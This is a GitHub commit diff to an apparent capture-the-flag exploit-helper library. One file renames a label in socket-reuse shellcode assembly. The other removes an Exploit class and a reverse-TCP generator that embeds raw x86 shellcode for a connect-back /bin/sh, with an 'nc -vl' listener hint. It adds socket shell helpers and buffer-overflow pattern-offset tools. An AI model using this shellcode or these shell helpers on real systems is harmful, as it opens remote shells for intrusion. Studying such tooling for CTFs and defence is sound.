Skip to content

Commit 33c8837

Browse files
ColdHeatColdHeat
committed
no message
1 parent d1570e4 commit 33c8837

2 files changed

Lines changed: 37 additions & 139 deletions

File tree

‎32bitSocketReuse/shell32.s‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,15 +40,16 @@ ourread:
4040
4141
;; this dup2 code attaches stdin stdout and stderr to our socket
4242
;; so that we can talk to whatever program we run later
43-
dup2:
43+
44+
mydup2:
4445
xor ecx,ecx
4546
mov cl, 2
4647
.copy:
4748
xor eax,eax ; because we need to nuke the retval of dup2
4849
mov al,dup2 ;dup2
4950
int 0x80
5051
dec ecx ; this is for looping stderr/out/in
51-
jns dup2.copy
52+
jns mydup2.copy
5253

5354
;; OUR SOCKET IS IN EBX
5455

‎isis/isis.py‎

Lines changed: 34 additions & 137 deletions
Original file line numberDiff line numberDiff line change
@@ -1,192 +1,89 @@
11
import re
2+
import string
23
import socket
34
import time
4-
import sys
5+
import telnetlib
56
from struct import pack,unpack
6-
from string import ascii_lowercase as ALPHABET
77

8-
9-
class Exploit():
10-
def __init__(self, ip_addr, port, exploit_type):
11-
self.ip = ip_addr
12-
self.port = port
13-
self.type = exploit_type
14-
15-
self.connectback = None
16-
self.bind = None
17-
18-
self.stage = [] # list of input to send to get to arbitrary execution
19-
self.shellcode = None
20-
21-
def connect_back(self, ip_addr, port):
22-
self.connectback = (ip_addr, port)
23-
24-
def bind_shell(self, port):
25-
self.bind = port
26-
27-
def prepare(self, input):
28-
self.stage.append(input)
29-
30-
def generate(self, arch='x86'):
31-
if self.type == 'connectback':
32-
if self.connectback == None:
33-
raise RuntimeError("You haven't set parameters for the connect back")
34-
self.shellcode = reverse_tcp(self.connectback[0], self.connectback[1], arch)
35-
elif self.type == 'bind':
36-
if self.bind == None:
37-
raise RuntimeError("You haven't set parameters for the bind shell")
38-
self.shellcode = bind_shell(self.bind, arch) # needs implementation
39-
40-
def display(self):
41-
for x in self.stage:
42-
sys.stdout.write(x)
43-
sys.stdout.write(repr(self.shellcode)[1:-1])
44-
45-
def throw(self): # needs implementation
46-
connect = get_socket((self.ip, self.port))
47-
for send in self.stage:
48-
connect.send(send)
49-
time.sleep(.5)
50-
print sock.recv(0x10000)
51-
connect.send(self.shellcode)
52-
53-
54-
def bind_shell(port, arch='x86'):
55-
'''
56-
Generate x86 bind shell shellcode (You connnect to the shell)
57-
58-
Usage:
59-
reverse_tcp(ip_addr, port)
60-
ip_addr = connect back IP address as string
61-
port = connect back port as int
62-
63-
A command you could use to setup a connection on your system is 'nc 127.0.0.1 7788'
64-
With 127.0.0.1 replaced with the ip of the target box.
65-
'''
66-
67-
if arch.lower() == 'x86':
68-
port = pack('>H', port)
69-
BIND_SHELL = BIND_SHELL_X86
70-
pass
71-
72-
def reverse_tcp(ip_addr, port, arch='x86'):
73-
'''
74-
Generate x86 reverse tcp shellcode (The shell connects to you)
75-
76-
Usage:
77-
reverse_tcp(ip_addr, port)
78-
ip_addr = connect back IP address as string
79-
port = connect back port as int
80-
81-
A command you could use to setup a listener on your system is 'nc -vl 7788'
82-
'''
83-
84-
if arch.lower() == 'x86':
85-
ip = ''.join([chr(int(x)) for x in ip_addr.split('.')])
86-
port = pack('>H', port)
87-
88-
REVERSE_TCP_X86 = (
89-
'\x31\xc0\x89\xc3\x50\x6a\x01\x6a\x02\x43\xb0\x66\x89\xe1\xcd\x80\x89\xc6'
90-
'\x31\xc0\xb0\x66\x43\x68' + ip + '\x66\x68' + port + '\x66\x53\x89\xe1'
91-
'\x6a\x10\x51\x56\x43\x89\xe1\xcd\x80\x89\xc7\x31\xc9\x89\xc8\x89\xca\xb1'
92-
'\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f'
93-
'\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xc9\x89\xca\xcd\x80'
94-
)
95-
96-
REVERSE_TCP = REVERSE_TCP_X86
97-
98-
elif arch.lower() == 'x64':
99-
REVERSE_TCP = REVERSE_TCP_X64 # need implementation
100-
101-
elif arch.lower() == 'arm':
102-
REVERSE_TCP == REVERSE_TCP_ARM # need implementation
103-
104-
elif arch.lower() == 'mips':
105-
REVERSE_TCP = REVERSE_TCP_MIPS # need implementation
106-
107-
banned = ('\x00', '\x0a', '\x0d')
108-
for x in banned:
109-
if x in REVERSE_TCP_X86:
110-
print 'This shellcode may not work because of {} at index {}'.format(repr(x), REVERSE_TCP.index(x))
111-
112-
return REVERSE_TCP_X86
113-
114-
115-
def get_socket(chal):
8+
def getSocket(chal):
1169
'''chal is a 2-tuple with an address and a port ex: ('127.0.0.1',111)'''
11710
s=socket.socket()
11811
s.settimeout(5)
11912
s.connect(chal)
12013
return s
12114

122-
12315
def shell(sock):
124-
'''
125-
pass to this function a socket object with a
126-
listening shell(socket reuse)
127-
'''
16+
'''pass to this function a socket object with a listening shell(socket reuse)'''
12817
command=''
12918
while(command != 'exit'):
13019
command=raw_input('$ ')
131-
sock.send(command + '\n')#raw_input won't grab a newline
20+
sock.send(command + '\n\0')#raw_input won't grab a newline
13221
time.sleep(.5)
13322
print sock.recv(0x10000)
13423
return
13524

25+
def telnet_shell(sock):
26+
'''pass to this function a socket object with a listening shell(socket reuse)'''
27+
tc = telnetlib.Telnet()
28+
tc.sock = sock
29+
tc.interact()
30+
return
13631

13732
def lei(*nums):
13833
'''
139-
wrapper for struct.pack(), will guess integer size and type
34+
wrapper for pack, will guess integer size and type
14035
takes a variable number of arguments
14136
'''
14237
if(len(nums)==1):
14338
num=nums[0]
14439
if(num>0):
14540
if(num<0xffffffff):
146-
return pack("<I",num) # little-endian, unsigned int
41+
return pack("<I",num)
14742
else:
148-
return pack("<Q",num) # little-endian, unsigned long long
43+
return pack("<Q",num)
14944
else:
150-
return pack("<i",num) # little-endian int
45+
return pack("<i",num)
15146
else:
15247
return ''.join(map(lei,nums))
15348

49+
'''
50+
utilities
51+
'''
52+
def chunk(iterable, chunkSize):
53+
for i in range(0,len(iterable),chunkSize):
54+
yield iterable[i:i+chunkSize]
15455

155-
def chunk(iterable, chunk_size):
156-
'''Divide iterable into chunks of chunk_size'''
157-
for i in range(0, len(iterable), chunk_size):
158-
yield iterable[i:i+chunk_size]
159-
56+
#def alphabet():
57+
# return map (chr, [(lambda x: x+ord('a'))(x) for x in range(0,26)])
58+
16059

161-
def gen_pattern_string():
162-
'''Generator for pattern strings'''
163-
for x in ALPHABET:
164-
for y in ALPHABET:
60+
def patternString():
61+
for x in list(string.ascii_lowercase):
62+
for y in list(string.ascii_lowercase):
16563
for z in range(10):
16664
yield ''.join([x.upper(), y, str(z)])
16765

16866

169-
def pattern_create(n):
170-
'''Generate pattern string of n patterns (3 chars) long'''
67+
def dipstick(n):
17168
limit = 0
17269
ret = ''
173-
for i in gen_pattern_string():
70+
for i in patternString():
17471
if limit < n:
17572
limit = limit + 1
17673
ret = ret + i
17774
else:
17875
break
17976
return ret
18077

181-
MAX_PAT=''.join(gen_pattern_string())
78+
maxPat=''.join(patternString())
18279

183-
def pattern_offset(offset):
80+
def rDipstick(offset):
18481
'''
185-
Search for offset in pattern string.
186-
Will accept an int of the form 0x12345678 or a
187-
string that looks like '12345678'
82+
will accept an int of the form 0x12345678 or a string
83+
that looks like '12345678'
18884
'''
18985
if(type(offset)==type(999)):
19086
offset=hex(offset)[2:].zfill(8)
19187
findMe=reduce(lambda a,b:b+a,chunk(offset,2)).decode('hex')
19288
return maxPat.index(findMe)
89+

0 commit comments

Comments
 (0)